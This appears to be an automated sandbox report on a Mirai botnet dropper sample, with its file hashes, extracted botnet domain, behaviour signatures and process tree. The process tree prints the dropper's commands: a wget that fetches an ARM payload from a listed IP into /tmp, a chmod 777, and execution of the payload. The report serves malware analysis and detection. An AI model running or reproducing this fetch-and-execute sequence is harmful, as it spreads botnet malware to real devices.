Analysis
- max time kernel
149s - max time network
148s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
30/10/2026, 03:29
Static task
static1
Behavioral task
behavioral1
Sample
e1238a13a4fd4de7c62dc36f45e6d27bcae8d47b51a2ecd5e360a2e7024bf2b8
Resource
ubuntu1804-amd64-20261019-en
Behavioral task
behavioral2
Sample
e1238a13a4fd4de7c62dc36f45e6d27bcae8d47b51a2ecd5e360a2e7024bf2b8
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
e1238a13a4fd4de7c62dc36f45e6d27bcae8d47b51a2ecd5e360a2e7024bf2b8
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
e1238a13a4fd4de7c62dc36f45e6d27bcae8d47b51a2ecd5e360a2e7024bf2b8
Resource
debian9-mipsel-20260513-en
General
- Target e1238a13a4fd4de7c62dc36f45e6d27bcae8d47b51a2ecd5e360a2e7024bf2b8
- Size 1KB
- Sample261030-d2d94adb64
- SHA256 e1238a13a4fd4de7c62dc36f45e6d27bcae8d47b51a2ecd5e360a2e7024bf2b8
- MD5 221aed77b1a1131d4f123d5f003998ff
- SHA1 fdcc3d0191fcef2311ea8bce9a0904e50ae6126a
- SHA512 cb96cdb9798af8b8ac5144a95d9b6b9e017a770acfc08e54ba047ae564abd13a42b808870db1afd353ff2004a743e171c9f68c388149ccf087d0c7937fc97603
- TLSH T13D21364778921031B6CDD43A572FB380B242601F6A30EF1C364FAD711F8C5A1F9EA6A4
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
-
mirai
-
BOTNET
-
scan.yerco.xyz
Signatures
- Mirai ARM payload 1 IoCs
resource yara_rule behavioral2/files/fstream-1.dat family_mirai_arm - File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 677 chmod - Executes dropped EXE 2 IoCs
ioc pid Process /tmp/arm7 680 e1238a13a4fd4de7c62dc36f45e6d27bcae8d47b51a2ecd5e360a2e7024bf2b8 /tmp/arm7 679 e1238a13a4fd4de7c62dc36f45e6d27bcae8d47b51a2ecd5e360a2e7024bf2b8 - Modifies Watchdog functionality 1 TTPs 4 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/misc/watchdog arm7 File opened for modification /dev/watchdog arm7 File opened for modification /dev/misc/watchdog arm7 File opened for modification /dev/watchdog arm7 - Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for reading /proc/1/cmdline pidof File opened for reading /proc/312/cmdline pidof File opened for reading /proc/586/cmdline pidof File opened for reading /proc/651/cmdline pidof File opened for reading /proc/76/cmdline arm7 File opened for reading /proc/750/cmdline arm7 File opened for reading /proc/764/cmdline arm7 File opened for reading /proc/14/stat pidof File opened for reading /proc/650/cmdline pidof File opened for reading /proc/787/cmdline arm7 File opened for reading /proc/13/cmdline arm7 File opened for reading /proc/312/cmdline arm7 File opened for reading /proc/21/stat pidof File opened for reading /proc/229/stat pidof File opened for reading /proc/229/cmdline arm7 File opened for reading /proc/565/cmdline arm7 File opened for reading /proc/687/cmdline arm7 File opened for reading /proc/731/cmdline arm7 File opened for reading /proc/2/stat pidof File opened for reading /proc/12/stat pidof File opened for reading /proc/24/stat pidof File opened for reading /proc/301/stat pidof File opened for reading /proc/305/stat pidof File opened for reading /proc/2/cmdline arm7 File opened for reading /proc/14/cmdline arm7 File opened for reading /proc/210/cmdline arm7 File opened for reading /proc/586/cmdline arm7 File opened for reading /proc/608/cmdline arm7 File opened for reading /proc/705/cmdline arm7 File opened for reading /proc/720/cmdline arm7 File opened for reading /proc/738/cmdline arm7 File opened for reading /proc/761/cmdline arm7 File opened for reading /proc/692/cmdline arm7 File opened for reading /proc/746/cmdline arm7 File opened for reading /proc/6/cmdline pidof File opened for reading /proc/642/cmdline arm7 File opened for reading /proc/15/cmdline pidof File opened for reading /proc/22/stat pidof File opened for reading /proc/23/cmdline pidof File opened for reading /proc/24/cmdline pidof File opened for reading /proc/758/cmdline arm7 File opened for reading /proc/13/stat pidof File opened for reading /proc/635/cmdline pidof File opened for reading /proc/10/cmdline arm7 File opened for reading /proc/143/cmdline arm7 File opened for reading /proc/326/cmdline arm7 File opened for reading /proc/719/cmdline arm7 File opened for reading /proc/748/cmdline arm7 File opened for reading /proc/779/cmdline arm7 File opened for reading /proc/565/cmdline pidof File opened for reading /proc/14/cmdline pidof File opened for reading /proc/98/cmdline pidof File opened for reading /proc/785/cmdline arm7 File opened for reading /proc/320/cmdline pidof File opened for reading /proc/642/cmdline pidof File opened for reading /proc/691/cmdline arm7 File opened for reading /proc/711/cmdline arm7 File opened for reading /proc/16/cmdline pidof File opened for reading /proc/585/stat pidof File opened for reading /proc/24/cmdline arm7 File opened for reading /proc/288/cmdline arm7 File opened for reading /proc/650/cmdline arm7 File opened for reading /proc/21/cmdline arm7 File opened for reading /proc/686/cmdline arm7 - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/arm7 wget
Processes
-
/tmp/e1238a13a4fd4de7c62dc36f45e6d27bcae8d47b51a2ecd5e360a2e7024bf2b8/tmp/e1238a13a4fd4de7c62dc36f45e6d27bcae8d47b51a2ecd5e360a2e7024bf2b81⤵
- Executes dropped EXE
PID:646 -
/bin/unameuname -m2⤵PID:648
-
-
/bin/pidofpidof arm72⤵
- Reads runtime system information
PID:651
-
-
/bin/rmrm -f /tmp/arm72⤵PID:658
-
-
/usr/bin/wgetwget -q http://103.210.144.11/backups/.../arm7 -O /tmp/arm72⤵
- Writes file to tmp directory
PID:661
-
-
/bin/chmodchmod 777 /tmp/arm72⤵
- File and Directory Permissions Modification
PID:677
-
-
/usr/bin/idid -u2⤵PID:678
-
-
/bin/rmrm cute2⤵PID:681
-
-
/tmp/arm7/tmp/arm7 arm72⤵
- Modifies Watchdog functionality
PID:679
-
-
/tmp/arm7/tmp/arm7 arm72⤵
- Modifies Watchdog functionality
- Reads runtime system information
PID:680
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path /tmp/arm7
- Size 140KB
- SHA256 42b16f19cfc9f64c7b0ac61f642f3929940d9feda7012419dccf18c988de7e3c
- MD5 b21718dd36acf0b4e3111332497ebe62
- SHA1 75a092ec6d118029801c048083fa2a39446ba668
- SHA512 3cd76741bdc148960d55dec7a807fc14a237c3fdfb40c67d6c11297fcc85e069b515d6fae14d275de751b4f2d3f7fefbf50d8793a941fa3ccd53a3b3c5852bcb
- SSDEEP 3072:fpMilILKakwy0iCatXVDruuOT/QivP5MM/99O:hMilAKakwy0iCatlDYTQivPKM/99O
- TLSH T11AE32A46EA418B13C0D61775B6EF42453323AB6497EB73069928BFF43F8279E0E63605
- MD5 SHA1 SHA512 SSDEEP TLSH